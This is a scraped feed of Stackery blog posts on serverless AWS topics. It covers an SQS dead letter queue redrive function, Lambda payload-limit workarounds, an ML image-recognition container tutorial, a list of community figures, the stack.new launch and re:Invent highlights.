We’re not done though! [We’d like to hear how you’re handling deployments](https://airtable.com/shriDXcvgp5XdZSQg) so that we can better support you with Stackery.<![CDATA[The Secret Lives of Failed Amazon SQS Messages]]>https://www.stackery.io/blog/failed-sqs-messageshttps://www.stackery.io/blog/failed-sqs-messagesA common pattern in serverless architecture is to have a queue before a function. This is great because you can create a second queue for all of the messages that failed in the function execution (or, if we want to put it in terms that don't sound like we're aggressively shaming them, we can classify them as having "encountered an error at some point"). This second queue is known as a "dead letter queue" or DLQ for short.
If messages arrive in the DLQ, you can analyze what might have caused the error by reviewing any relevant logs, making changes to your stack, and running a redrive function to retry those messages. DLQs are useful for debugging your serverless application because they let you isolate problem-messages to determine why their processing isn't working.
A redrive function is how we get those failed messages out of the DLQ and back into the original pipeline to retry the operation. I wanted to set up this type of architecture in a new stack using Stackery and decided to take a look around the internet for inspiration on different patterns and ideas on how to go about it.
I found lots of information about dead letter queues, but no examples that demoed a redrive function to retry those failed messages. This post is meant to serve as a nice example for folks like me who want to do this on AWS and haven't found many examples.
### The setup
**Happy path**
Let's start out with our happy path flow. I've set up a stack that consists of an SNS topic > SQS queue > Lambda function. In Stackery it looks something like this:
**Retry path**
In the event that something goes wrong during the function execution, I set up a second queue; this will serve as my DLQ for failed messages to be delivered. I then added a redrive function to allow me to retry those failed messages through the original pipeline. Here's what that set up looks like:
I added a `RedrivePolicy` to the original SQS queue to point those failed messages to my DLQ by adding some [CloudFormation](https://aws.amazon.com/cloudformation/) in my `template.yaml`:
``` Queue:
Type: AWS::SQS::Queue
Properties:
QueueName: !Sub ${AWS::StackName}-Queue
RedrivePolicy:
deadLetterTargetArn: !GetAtt DeadLetterQueue.Arn
maxReceiveCount: 3
```
By default, the queue's message retention period is 4 days. I wanted to give myself some extra time to review the messages in the DLQ, so I upped the `MessageRetentionPeriod` on my DLQ to the max allowed 14 days like this in my `template.yaml`.
This is the sci-fi beauty of my profession: creating *more time* is possible! As many before me have discussed on the floor of a dorm room, time is a malleable concept--- and at least in software engineering, it has a practical purpose like gaining more days to review DLQ messages. Note that the values are in seconds:
```
DeadLetterQueue:
Type: AWS::SQS::Queue
Properties:
QueueName: !Sub ${AWS::StackName}-DeadLetterQueue
MessageRetentionPeriod: 1209600
```
### Redrive function content
Now that the base architecture is all set up, let's take a look inside the redrive function. This is how I decided to set mine up, but keep in mind that there are many different ways you can do this:
Here's the high-level steps of what our retry function needs to do:
1. Receive messages from the DLQ
2. If no messages are received exit the function
3. If there are received messages, loop through each message > send it to the original queue
4. Delete the message from the DLQ on a successful send
5. Repeat
**Here's what the code looks like written in nodeJS:**
``` const aws = require('aws-sdk');
const sqs = new aws.SQS();
exports.handler = async event => {
// Log the event argument for debugging and for use in local development.
console.log(JSON.stringify(event, undefined, 2));
while (true) {
try {
// Use long polling to avoid empty message responses
const receiveParams = {
QueueUrl: process.env.DLQ_URL,
MaxNumberOfMessages: 10,
WaitTimeSeconds: 1
};
// Get messages from the DLQ
// Continue looping until no more messages are left
const DLQMessages = await sqs.receiveMessage(receiveParams).promise();
if (!DLQMessages.Messages || DLQMessages.Messages.length === 0) {
console.log(`NO MESSAGES FOUND IN ${process.env.DLQ_URL}`);
// Exit the loop since there aren't any messages left
break;
}
console.log(`RECEIVED ${DLQMessages.Messages.length} MESSAGES`);
for (const message of DLQMessages.Messages) {
// Send message to original queue
const outboundMessage = {
MessageBody: message.Body,
QueueUrl: process.env.QUEUE_URL
};
console.log(`SENDING: ${JSON.stringify(outboundMessage, null, 2)}`);
await sqs.sendMessage(outboundMessage).promise();
console.log('SEND MESSAGE SUCCEEDED');
// Delete message from DLQ
const deleteParams = {
QueueUrl: process.env.DLQ_URL,
ReceiptHandle: message.ReceiptHandle
};
console.log(`DELETING: ${JSON.stringify(deleteParams, null, 2)}`);
await sqs.deleteMessage(deleteParams).promise();
console.log('DELETE MESSAGE SUCCEEDED');
}
} catch (err) {
console.log(`AN ERROR OCCURRED: ${err.message}`);
console.log(JSON.stringify(err, null, 2));
throw err;
}
}
};
```
### Things to keep in mind when setting up a redrive function.
**Receive message step**
- The default `MaxNumberOfMessages` to return is 1, so you'll most likely want to up that number depending on your use case. I just went to the max allowed which is 10.
- If you hypothetically have 10 messages in your DLQ and do `receiveMessage` on that queue with a `MaxNumberOfMessages` set to 10, you might possibly not receive all of those messages in a single `receiveMessage` batch. It's important to have looping to ensure that you receive all of the messages when they are available.
- Enabling [long polling](https://docs.aws.amazon.com/sdk-for-java/v1/developer-guide/examples-sqs-long-polling.html) can help reduce the cost of SQS by reducing the number of empty responses. I decided to go this route by adding `WaitTimeSeconds` to my `receiveMessage` params.
**Delete message step**
- Ensure the send message was successful before deleting it. I decided to wrap the entire function in a try, catch...so if there's an error the function will stop processing.
\\\*
As you can see, it does require a bit of additional setup, but creating dead letter queues and a redrive function to re-run failed messages can be extremely helpful in your application's life cycle. You can go to https://github.com/stackery/redrive to see an example of a simple stack that uses a DLQ and a redrive function in action.
*For a solid and succinct description of the benefits of a DLQ (alongside lots of other info about them,) check out AWS' documentation [here](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-dead-letter-queues.html#sqs-dead-letter-queues-benefits).\*
*Want to make it easier to access function logs? Stackery makes this easier for troubleshooting benefits. Don't miss our [function resource overview](https://docs.stackery.io/docs/api/nodes/Function/#metrics-logs) on the docs site.*<![CDATA[Why You Should Use API Gateway Proxy Integration With Lambda]]>https://www.stackery.io/blog/why-you-should-use-api-gateway-proxy-integration-with-lambdahttps://www.stackery.io/blog/why-you-should-use-api-gateway-proxy-integration-with-lambda<![CDATA[Dealing With the AWS Lambda Invocation Payload Limits]]>https://www.stackery.io/blog/request-entity-too-large-exception-aws-lambda-message-invocation-limitshttps://www.stackery.io/blog/request-entity-too-large-exception-aws-lambda-message-invocation-limitsIf you've dealt with lambda functions you may have run across the `RequestEntityTooLargeException - * byte payload is too large for the Event invocation type (limit 131072 bytes)` AWS Lambda exception that occurs when a function is invoked with too large of a payload. Current [AWS Lambda limits](http://docs.aws.amazon.com/lambda/latest/dg/limits.html#limits-list) are set at 6 MB for synchronous/RequestResponse invocations, and 128 K for asynchronous/Event invocations. I have the feeling that most people don't give a lot of thought to these invocation limits until something starts failing.
While rare, there are certain scenarios that are more likely to hit these limits - such as invoking an async function from a sync function or dealing with larger than expected results from a DB query. Depending on the situation, there are many ways to deal with this issue.
The easiest solution is to, prior to the function invocation, check the message length and then drop/clip it if it's too large. This is really only viable if the message is a non-critical in the invocation or if all the critical elements are *always* at the beginning. While somewhat brittle, this is relatively easy to implement as the code change is isolated to invoking function.
A more robust solution would be do use an [Object Store](https://docs.stackery.io/docs/api/nodes/ObjectStore/) or S3 bucket as your message repository and just pass the message key to the invoked function. This will make sure you never run into this invocation limit but will require changes in both the invoking and invoked functions while also adding latency to every function call as you will need to both store and fetch the message. Deletions can be handled via [Object Expiration](https://aws.amazon.com/blogs/aws/amazon-s3-object-expiration/) so as to avoid incurring even more latency.
The third solution is a hybrid solution, which has the same robustness and code impact as using an Object Store, but only incurs the latency penalties if the messages are actually over the limits. Using two wrapper functions, let's call them `hydrate` and `dehydrate`, messages are 'dehydrated' before invoking a function, and 'rehydrated' inside the invoked function prior to consumption.
For example, in the above Stackery stack, I have `Sync Function` invoking asynchronously `Async Function`. I've added a port to both functions to a shared `Object Store` that will be used as the message store if needed. My two wrapper functions are as defined: ```javascript function dehydrate (message) { if (JSON.stringify(message).length > 131071) { console.log('Dehydrating message'); let key = `${Date.now()}-${Math.floor(Math.random() * 100)}`; let params = { action: 'put', key: key, body: JSON.stringify(message) };
return stackery.output(params, { port: 1 }) .then(() => { return { _messageKey: key }; }); } else { return Promise.resolve(message); } } ``` ```javascript function hydrate (message) { if (typeof message === 'object' && Object.keys(message).length === 1 && '_messageKey' in message) { console.log(`Hydrating message`); let params = { action: 'get', key: message._messageKey };
return stackery.output(params) .then((response) => { return JSON.parse(response[0].body.toString()); }); } else { return Promise.resolve(message); } } ```
Note that `dehydrate` is currently written only with the asynchronous limit in mind, but could easily be expanded to deal with both. `Sync Function` now needs to invoke `dehydrate` and would look like this: ```javascript const stackery = require('stackery');
module.exports = function handler (message) { // Do Stuff
return dehydrate({ message: message.message }) .then((dehydratedMessage) => { return stackery.output(dehydratedMessage, { waitFor: 'TRANSMISSION' }); }) .then(() => { return response; }) .catch((error) => { console.log(`Sync Function: Error: ${error}`); }); }; ```
And likewise, `Async Function` needs to `hydrate` the message before consuming it: ```javascript const stackery = require('stackery');
module.exports = function handler (message) { return hydrate(message) .then(handleMessage) .catch((error) => { console.log(`asyncFunction: Error - ${error}`); }); };
function handleMessage (message) { // Do Stuff return {}; } ``` With these two functions (and with Stackery taking care of the tedious setup such as the IAM policies to allow functions to access the S3 bucket) it's relatively straightforward to implement a robust solution to get around the AWS lambda payload limitations.
## How Stackery Makes it Easier to Handle your serverless apps
Stackery lets you design your application as something much greater than the sum of its parts. Serverless functions (AWS Lambdas) need gateways to communicate with the outside world, and databases and storage to store user information. [Stackery](https://app.stackery.io/sign-up) lets you create your app with all the resources you need in a single canvas, deploy the same application to different AWS regions, and move between multiple AWS accounts.<![CDATA[A Timeline of Resource Use]]>https://www.stackery.io/blog/most-popular-serverless-serviceshttps://www.stackery.io/blog/most-popular-serverless-services<![CDATA[AWS Lambda Container Image Support Tutorial]]>https://www.stackery.io/blog/aws-lambda-container-images-machine-learning-tutorialhttps://www.stackery.io/blog/aws-lambda-container-images-machine-learning-tutorial\# [Stackery](/content/site-root.html) Machine Learning Image Recognition Example
This is an example machine learning image recognition stack using AWS Lambda Container Images. Lambda container images can include more source assets than traditional ZIP packages (10 GB vs 250 MB image sizes), allowing for larger ML models to be used.
This example contains an AWS Lambda function that uses the [Open Images Dataset](https://storage.googleapis.com/openimages/web/index.html) [TensorFlow](https://www.tensorflow.org/) model to detect objects in an image. When you invoke the /detector API route with a URL to an image the function will download the image, use the TensorFlow model to detect objects in it, then return an annotated version of the image back to the client.
Here is an overview of the files in this repo:
```bash . ├── .gitignore <-- Gitignore for Stackery ├── .stackery-config.yaml <-- Default CLI parameters for root directory ├── LICENSE <-- MIT! ├── README.md <-- This README file ├── src │ └── Recognizer │ ├── Dockerfile <-- Dockerfile for building Recognizer Function │ ├── font │ │ ├── Apache License.txt <-- License for OpenSans font used for annotation labels │ │ └── OpenSans-Regular.ttf <-- OpenSans font used for annotation labels │ ├── handler.py <-- Recognizer Function Python source │ └── requirements.txt <-- Recognizer Function Python dependencies └── template.yaml <-- SAM infrastructure-as-code template ```
## How to The repository contains a complete example stack that can be imported directly into Stackery and deployed. The rest of this post walks you through building your own ML stack using Stackery.
### Setup 1. First, [create an AWS account](https://portal.aws.amazon.com/billing/signup) if you don't have one. Don't worry, everything we will do in this example will fit into the [AWS Free Tier](https://aws.amazon.com/free), and even if you do not qualify for the free tier you will incur fractions of a penny's worth of expense running this example stack. 2. Second, create a [free Stackery account](/content/sign-up/index.html). We will use Stackery to build the app and then deploy it into your AWS account. 3. Follow the steps after creating your Stackery account to link your AWS account. This gives Stackery permissions to package functions and generate [CloudFormation](https://aws.amazon.com/cloudformation/) [Change Sets](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-cfn-updating-stacks-changesets.html) but does not give Stackery permission to arbitrarily modify resources in your AWS account. You can find more details here: [Stackery Permissions & Controls](https://docs.stackery.io/docs/using-stackery/security-permissions-and-controls).
### Create a new stack 1. Once you have linked your AWS account it's time to start creating a new stack! Go to [Stacks](https://app.stackery.io/stacks) and click the green **Add a Stack** button. This will create a new, untitled stack for you.  2. First things first, let's give our stack a name. Click the three dots next to the current stack's name (the current name will be something like *Untitled* or *Untitled-1*) and choose to **Rename** the stack. Now, pick a name (*ml-image-recognition* would work!) and save it. 3. Before we go any further, why don't we save our progress? Click the big green **Save with Git...** button to authenticate to your favorite Git provider, create a new repo for the stack, and commit our starting stack.
### Add a new HTTP API 1. We see a blank canvas for our new stack. Let's add an HTTP API! Click the green **Add Resource** button in the top right corner of the canvas. Click the **HTTP API** resource in the palette to add a new API to our stack. Close the palette.  2. Double-click the new HTTP API (note: don't double click the *GET /* route, that opens the route settings instead of the API settings).  3. Change the route from *GET /* to *GET /detector*. 4. Click the big, green **Save** button at the bottom of the settings panel.
### Add a new function 1. Now let's add a Lambda function! Again, click the green **Add Resource** button in the top right corner of the canvas. Click the **Function** resource in the palette to add a new Function to our stack. Close the palette. 2. Double-click the new Function to edit its settings. 3. Update the following settings: \* Logical ID: Something descriptive, like *Recognizer* \* Package Type: Docker Image (so we can fit a large ML model into our source assets!) \* Docker Build Context: You probably want to update this from */src/Function* to something like */src/Recognizer* \* Timeout: 120 (it takes a while for TensorFlow to spin up!) \* Don't forget to click the big, green **Save** button at the bottom of the settings panel! 
4. Save the stack by clicking the **Commit...** button. This is a great opportunity to see what we've added to the [AWS SAM](https://aws.amazon.com/serverless/sam/) template by opening the Template Diff panel. Notice how a bunch of additional resources, like an [AWS ECR](https://aws.amazon.com/ecr/) container image repository and a [CodeBuild](https://aws.amazon.com/codebuild/) project, are scaffolded to support building and running your new Function?
### Edit your sources 1. Now it's time to get our feet wet on the source code side! Pull down the stack's Git repo to edit it using your favorite editor / IDE. 2. Scaffolded in the repo will be your function's source folder and Dockerfile. This Dockerfile will have a lot of possible starting points for you to choose from. We're going to build a Python Function, so you can take a look at the default Python Dockerfile commands. But since we're building a specific implementation, delete what's in the Dockerfile and replace it with the following: ```bash
Download the Open Images TensorFlow model and extract it to the `model`
folder.
FROM alpine AS builder RUN mkdir model RUN wget -c https://storage.googleapis.com/tfhub-modules/google/openimages\_v4/ssd/mobilenet\_v2/1.tar.gz -O - | tar xz -C model
Make sure it's world-readable so the Lambda service user can access it.
RUN chmod -R a+r model
Build the runtime image from the official AWS Lambda Python base image.
FROM public.ecr.aws/lambda/python
Copy the extracted Open Images model into the source code space.
COPY --from=builder model model
Copy in the sources.
COPY handler.py requirements.txt ./
Copy the OpenSans font for annotation use
COPY font ./font
Install the Python dependencies
RUN python3 -m pip install -r requirements.txt
Tell the Lambda runtime where the function handler is located.
CMD ["handler.lambda_handler"] ``` 4. Now add the Python dependencies by putting the following into requirements.txt: ``` requests tensorflow Pillow ``` 5. Lastly, add the Function handler source code into handler.py: ```python
Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
Copyright Stackery, Inc. All Rights Reserved.
SPDX-License-Identifier: MIT-0
import base64 from io import BytesIO
from PIL import Image, ImageDraw, ImageFont import requests import tensorflow as tf
Detect and annotate top N objects
NUM_OBJECTS = 3
Loading model
loaded_model = tf.saved_model.load('model') detector = loaded_model.signatures['default']
Loading font
font = ImageFont.truetype('font/OpenSans-Regular.ttf', 25)
def lambda_handler(event, context):
Get image URL from `url` querystring parameter
r = requests.get(event['queryStringParameters']['url'])
Detect objects from image
objects = detect_objects(r.content)
Annotate objects onto image
img = annotate_image(r.content, objects)
Encode image back into original format
with BytesIO() as output: img.save(output, format=img.format) body = output.getvalue()
Send 200 response with annotated image back to client
return { 'statusCode': 200, 'isBase64Encoded': True, 'headers': { 'Content-Type': img.get_format_mimetype() }, 'body': base64.b64encode(body) }
def detect_objects(image_content): img = tf.io.decode_image(image_content)
Executing inference.
converted_img = tf.image.convert_image_dtype(img, tf.float32)[tf.newaxis, ...] result = detector(converted_img)
return [
{\
TF results are in [ ymin, xmin, ymax, xmax ] format, switch to [ ( xmin, ymin ), ( xmax, ymax ) ] for PIL\
'box': [ ( result['detection_boxes'][i][1], result['detection_boxes'][i][0] ), ( result['detection_boxes'][i][3], result['detection_boxes'][i][2] ) ],
'score': result['detection_scores'][i].numpy(),
'class': result['detection_class_entities'][i].numpy().decode('UTF-8')
} for i in range(NUM_OBJECTS)
]
def annotate_image(image_content, objects): img = Image.open(BytesIO(image_content)) draw = ImageDraw.Draw(img)
for object in objects:
Multiply input coordinates, which range from 0 to 1, to number of pixels
box = [ ( object['box'][0][0] * img.width, object['box'][0][1] * img.height ), ( object['box'][1][0] * img.width, object['box'][1][1] * img.height ) ]
Draw red rectangle around object
draw.rectangle(box, outline='red', width=5)
Create label text and figure out how much space it uses
label = f"{object['class']} ({round(object['score'] * 100)}%)" label_size = font.getsize(label)
Draw background rectangle for label
draw.rectangle([ box[0], ( box[0][0] + label_size[0], box[0][1] + label_size[1]) ], fill='red')
Draw label text
draw.text(box[0], label, fill='white', font=font)
return img; ``` 6. Save, add, commit, and push these changes up to your stack's repo.
### Deploy the stack 1. Now it's time to deploy the stack! If you have the [Stackery CLI](https://docs.stackery.io/docs/using-stackery/cli#install-the-cli) (you can install it from instructions here: https://docs.stackery.io/docs/using-stackery/cli#install-the-cli) it's as easy as running `stackery deploy --git-ref main` (swap `main` for whatever branch your code is on). You can also point and click through our dashboard interface to deploy by navigating to the **Deploy** section on the left-hand sidebar after navigating to your stack at [https://app.stackery.io.\](https://app.stackery.io).
### Test You can easily test the stack by opening the API in your browser. First, we need to find the domain name of your API. You can do this either from the Stackery CLI or the Stackery dashboard.
\* **Using the Stackery CLI**: The Stackery CLI will print the domain name of your API after you deploy. You can also find it by running `stackery describe`. \* **Using the Stackery dashboard**: You can find the domain name of your API in the Stackery dashboard by navigating to the **View** section on the left-hand sidebar after navigating to your stack at https://app.stackery.io. Double-click on your API in the canvas view to find it's domain name.
Now, open your API in your browser by pasting in the url to your domain and appending **/detector?url=https%3A%2F%2Fimages.pexels.com%2Fphotos%2F310983%2Fpexels-photo-310983.jpeg%3Fauto%3Dcompress%26cs%3Dtinysrgb%26dpr%3D2%26h%3D650%26w%3D940**. This will tell the API to download this image and annotate it with the three objects it is most confident about identifying:
 Note: It can take a minute or two for TensorFlow to load the image model and begin processing. This means the first time you use the API after a few minutes of inactivity it will timeout after 29 seconds while it is still loading. The Function will run to completion, but the HTTP API stops waiting after 29 seconds. So, try to hit the URL, and after a few timeouts you should be able to load the result. It takes less than a second to process the image when the Lambda Function is warm. If you want to ensure you always have a warm function, consider adding [Provisioned Concurrency](https://docs.stackery.io/docs/api/nodes/Function#provision-concurrency), though keep in mind the [cost considerations](https://aws.amazon.com/lambda/pricing/#Provisioned\_Concurrency\_Pricing) of doing so.
### Give a shout out! We love hearing if we've helped folks learn more about AWS, serverless, or any other aspect of building this ML project! If you're so inclined, give us a shout out on Twitter [@stackeryio](https://twitter.com/stackeryio). We'd love to send some thanks your way, too!<![CDATA[Seven Serverless Champions You Should Start Following Today]]>https://www.stackery.io/blog/seven-serverless-championshttps://www.stackery.io/blog/seven-serverless-champions\*A note from Gracie: This post has been updated to give due recognition to a certain serverless champion who was helpful in creating this list and is well-worth a follow in her own right! Read on for our seventh serverless champion you should know!*
There are so many early serverless adopters and pioneers who many of us in the community know well: AWS heroes, in-demand speakers, and celebrated community organizers with thousands of followers, popular Twitch channels, and full speaking dockets. It's a fantastic idea to follow these folks because they are known for a reason.We cover them [regularly](/content/blog/six-people-on-the-cutting-edge/index.html) at Stackery!
But, as in any community, there are also MANY serverless users, enthusiasts, and quiet champions who deserve recognition as well. [As we've written about before](/content/blog/serverless-is-not-technology/index.html), serverless at its core is about delivering real business value with modern software and distributing computing power down to the customer. This core tenet makes humility a top value in the serverless community, which amplifies the "quiet champion" phenomenon in our realm, specifically.
Since humble figures aren't the first to seek a huge organic following or "influencer" status, it's up to others to celebrate them. To that end, I wanted to highlight six people who are key parts of the serverless community who aren't particularly widely followed but perhaps should be!
### Tom McLaughlin
Tom is a tireless participant and booster of the serverless mindset and supporter of new developers in serverless.
https://twitter.com/tmclaughbos
Things I don't enjoy doing:
— Tom McLaughlin - Serverless Lifestyle Brand (@tmclaughbos) March 3, 2020
\* Snaking through code across multiple files to figure WTF the resulting infrastructure will be.#serverless
### Praneeta Prakash
One of the developers on AWS SAM, Praneeta posts thoughtful updates on the product, engages with the community, and fun nerdy projects in about equal measure.
https://twitter.com/praneetaprakash
Okay, I know we made some of these bugs ourselves...but job security, amiright? Bunch of fixes coming up in this NEW release! Also, #UsagePlans now supported, and a super cool community contribution to force update lambda versions #AWS #SAM #Serverless https://t.co/wvhksPJhf7 pic.twitter.com/hYCkOPjPQm
— Praneeta Prakash (@praneetaprakash) February 21, 2020
### James Hood
James is another developer on AWS SAM, and his twitter feed is mainly insights into how teams within AWS are thinking about their products. It's extremely useful to understand how the dev teams are imagining their products will be used, and how they plan to grow!
Brain wouldn’t let me sleep last night. The downside to a creative job like software development is you can’t usually control when inspiration hits. On the bright side, I think I nailed down some key parts of this design I’m working on. pic.twitter.com/wZXM2s6yly
— James Hood (@jlhcoder) April 16, 2020
### Brett Andrews
Brett has recently departed AWS (oh the pains of picking a Twitter Username to mesh with your current job!) and continues to write really great posts on developer culture
Working with a team that's struggling to get PRs reviewed in a timely fashion, and it was mentioned that people feel like it's a tedious chore.
— Brett Andrews (@AWSbrett) March 3, 2020
I'm weird and really enjoy doing code reviews.
What can you do to change this perception? 🤔
### Danielle Heberling
Danielle is a great co-worker at Stackery and an incredibly dynamic member of the serverless community. A recent winner of the AWS Hackathon here in Portland, her twitter combines tech snark, community building, and cool nerdy projects. I respect Danielle for the degree to which she has recognized other members of the tech community throughout [all stages of her career](/content/blog/nashville/index.html). She is a great mentor to seek out, even if it's via a simple follow on social!
My talk from @ServerlessN is up. Check it out. https://t.co/iYMT9AsvcY
— Danielle Heberling (@deeheber) March 7, 2020
### Beth North
Beth writes evocatively about vulnerability and the feelings associated with tech. She gave a great talk at [Serverlessdays Cardiff](https://cardiff.serverlessdays.io/speakers/beth/) and is definitely worth a follow.
https://twitter.com/EccentricTester
I'm intrigued. Do you have a backup career for when you rage quit tech? Like, I just want to open a bakery when I leave...
— Beth North (@EccentricTester) March 9, 2020
### Nica Fee
Last but not least, Nica Fee is a longstanding serverless champion that you should follow immediately if you’re not already doing so. Not only did she help put this list together, but she’s been been an advocate of Stackery and a serverless enthusiast since early days. She’s now a developer advocate at New Relic where she focuses on serverless. Lucky them!
Her feed is full of tips for beginning-advanced developers, helpful input and suggestions for our growing community, and general hilarity. She’s also a prolific long form writer for publications like [The New Stack](https://thenewstack.io/author/toby-fee/) — and yes, the Stackery blog! She also makes a practice out of spotlighting folks in the serverless community who might not be the most well known, but deserve applause.
Just got a talk accepted at a DevOps conference that will occur in Animal Crossing. Which means I can now experience the impossible dream of writing Animal Crossing off on my taxes https://t.co/lU1eYVsic3
— Nočnica Fee (@NocnicaFee) April 17, 2020
Head over to these champions' Twitter feeds today to get the true inside scoop on what's going on (and coming up!) in serverless and -- and give them a follow if you feel so inclined. Selfishly, you'll get to say that you followed them when they were cult before classic!<![CDATA[Hello, Stack.new]]>https://www.stackery.io/blog/launching-stack-newhttps://www.stackery.io/blog/launching-stack-newI’ve learned a lot about serverless in my first full year at Stackery after joining from the Ops-focused automation company, Puppet. I’ve learned how to deploy rich CMS-backed web applications in a serverless way, how to cast incantations using CloudFormation’s intrinsic functions, but **most of all I’ve learned that there’s a lot to learn in order to be successful in AWS.**
## Serverless lets you own less, build more
Fundamentally, serverless is an approach that abstracts the amount of infrastructure you are responsible for so that you can focus your energy where the business needs it most. Forrest Brazeal frames it as “own less, build more” and if you remain unconvinced at how serverless can empower you, I encourage you to [watch his short pitch](https://www.youtube.com/watch?v=lnD6K876JY4&t=855s).
In my view, serverless is the next wave of empowerment for software engineers and operations professionals on the scale of what configuration management enabled for VM-based application infrastructure. But, it’s not automatic. There’s a lot to learn, a lot of Infrastructure-as-Code to write and maintain, plus a new workflow paradigms.
These challenges are why Stackery built its serverless platform and **why we built stack.new, a public tool for visualizing and auditing any AWS CloudFormation or AWS SAM Infrastructure-as-Code template.**
## But there’s still a lot to learn and apply to operate applications in public cloud
Consider [the 5 Pillars of the AWS Well-Architected Framework](https://aws.amazon.com/blogs/apn/the-5-pillars-of-the-aws-well-architected-framework/) and their associated design principles.
- Operational Excellence - Security - Reliability - Performance Efficiency - Cost Optimization
Some design principles under these pillars are abstract and human-oriented, like mechanical sympathy or where you should spend your money. But most of them are practices that show up in your development or operational workflows, how you configure your cloud infrastructure, or the shape of your cloud architectures.
That’s a good news / bad news situation. On one hand, it’s wonderful that so many practices that make for a strong cloud environment can be expressed in code and repeatedly applied to any environment. On the other hand, it’s work that every team is doing as a one-off task for every set of infrastructure they operate.
## Reusable AWS CloudFormation content
Instead of learning and applying each practice for every stack, what if you could find patterns for your intended workload that applied best practices across every category?
The intent is to flatten the learning curve to something manageable while reducing errors and oversights.
We’re working to enable this with the launch of [stack.new](https://stack.new/). [Stack.new](https://stack.new) organizes, explains, and visualizes AWS CloudFormation & AWS SAM Infrastructure-as-Code templates. We’re striving to build as many automated checks as we can against the Well-Architected Framework. Stack.new collects relevant learning material from across the web to help anyone improve shared templates for collective benefit.
### **Audits & resources** For example, we audit AWS IAM policies for tight-scoping between resources and we'll soon publish a guide to help you improve your AWS IAM policies. 
### CloudFormation Visualization and Low-Code Editor [Stack.new](http://stack.new) uses Stackery's patented Design Canvas to visualize your CloudFormation template. You can click into any resource to see its configuration and drag-and-drop new resources. 
Our immediate goal is a collection of sample templates that cover most architectural patterns, apply best practices, and serve as a launch pad for your business application. Beyond that, we would like to help you with your private templates and achieve truly [modular](https://aws.amazon.com/blogs/mt/introducing-aws-cloudformation-modules/) and composable templates in public.
## How does it work? Visit [https://stack.new\](https://stack.new/) and share a link to a publicly accessible GitHub CloudFormation template. Within seconds we’ll generate a page that includes architecture visualization, extracted documentation, and audit checks with links to relevant learning guides, which we've found or have been shared with us, that might help improve the template.
### Browse what’s already been shared You’ll find many templates already linked to on the submission form, or related to your stack. We’re interested in categorizing shared templates to provide a browsing interface and would love your feedback on how you’d want to find templates for your needs.
## What do you think?
[https://stack.new\](https://stack.new/) is just getting started as a preview and we’re excited about what we’re working on next. But, we’d much rather hear from you. [Let us know what you consider](https://airtable.com/shrpnWLSLvMVGvDkL) when deploying a CloudFormation template and we’ll get to work.<![CDATA[Highlights from the final week of re:Invent]]>https://www.stackery.io/blog/reinvent-teams-win-with-serverlesshttps://www.stackery.io/blog/reinvent-teams-win-with-serverless\# Highlights from the final week of re:Invent
The three weeks of re:invent are finally drawing to a close and it’s been a whirlwind of announcements and recaps of the most unusual year of the century. The major takeaway for me, above all the industry news, is that the work didn’t stop. Innovation continued at full speed despite all our lives being disrupted. From the talks this week it’s clear that serverless is growing at massive speed this year.
## Increasing innovation with Serverless applications
[David Richarson](https://www.linkedin.com/in/davidrr), VP of serverless from AWS, started the session off by thanking the Serverless Community for all its hard work.
“We launched Lambda six years ago, and we continue to be humbled by how many people have adopted it. Hundreds of thousands of customers have built applications that already drive trillions of invokes per month, and lambda continues to grow at a phenomenal rate. Lambda may have started serverless, but the incredibly generous community of [Serverless heroes](https://aws.amazon.com/developer/community/heroes/?community-heroes-all.sort-by=item.additionalFields.sortPosition&community-heroes-all.sort-order=asc&awsf.filter-hero-category=heroes%23serverless) have turned serverless into a revolution in how to build in the cloud.”
Thanks, David, we appreciate being acknowledged, and I am also grateful for the generosity and collaboration that the Serverless Community provides.
The talk also touched on the [Extensions API](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html), which opens up new avenues for growth for Lambda tooling. If you haven’t tried them, extensions let you run processes in a shared space with your Lambda process. For those of us making tooling for Lambda functions, Extensions have the potential to unlock new avenues for governance, measurement, and management of Lambda functions.
Then there was this great anecdote about growing with Lambda Functions:
“[Coca Cola](http://www.cocacola.com) is a great customer who had to react quickly to the changes brought on by the COVID pandemic. They wanted to provide a touchless experience for their freestyle drink dispensers. And so they built a new smartphone app that allows customers to order and pay for drinks, without coming into contact with their vending machines. Because they built with Lambda, their team was able to focus on the application, rather than server latency and scalability, since those are built-in with Lambda.
**And as a result, they built this new application in just 100 days. And now over 30,000 machines have the touchless capability.”**
Next in the talk we heard from Lavanya Raja, Vice President of Software Engineering at [Capital One](http://www.capitalone.com/). She described how their call center had found itself nearly overwhelmed early in the quarantine. But with a serverless architecture they managed to implement tons of new features for self-service and get more of their call center working from home in just a matter of weeks.
They architected their call centers with Amazon connect at its core and are using Lambda Functions to orchestrate the call flow.
Finally, we heard from Vishal Parikh, Vice President and Head of Product at Discovery Golf. Launched in 2019, [GOLFTV](https://www.golf.tv/) had already launched monolithic code and then shifted to serverless for some of their stack: “This means we can grow and adapt quickly when opportunities arise, swapping things in and out as the business changes. For example, we can scale up automatically for unpredictable traffic spikes, adapt to new data sources quickly, or even add features for new revenue streams faster. We're happy with the tasks that we chose given the **increase in engineering velocity, the reduction of cloud costs, and the estimated reduction of cloud cost to implement compared to a non-serverless approach”.**
*Just look at that flexible architecture!*
Again, the takeaway is that work hasn’t stopped. The pressure for innovation has continued to grow and serverless has been the method for enabling that innovation.
## Going global in minutes: Multi-Region expansion simplified
This talk was a really nice ‘trifecta’ of components. **Using open source, containers, *and* serverless is bound to catch my interest.**
Nima Kaviani from AWS and Brandon Leach of Autodesk showed us how [Autodesk](http://www.autodesk.com) leveraged [Amazon ECS](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/Welcome.html), [AWS Lambda](https://aws.amazon.com/lambda/), and OSS tooling such as Spinnaker to enable it to expand into new Regions with minimal operational overhead.
The challenge faced by Autodesk was smooth scaling in a multi-region environment where data sovereignty is an issue, and for example, you need all Canadian users’ data to stay in Canada.
Some great tidbits in the talk, I would have assumed that Terraform and Spinnaker weren’t really things you’d use together, but Brandon said otherwise:“Spinnaker and Terraform are very complimentary. You know, we've utilized Spinnaker’s ability to run Terraform in the context of a deployment pipeline to allow for the management of all service components. This capability allows us to manage all infrastructure related to a service using Spinnaker pipelines. Another step we took was to abstract away the complexity of Spinnaker pipelines terraform accounts in networking by implementing a declarative interface Common Application definition file.”
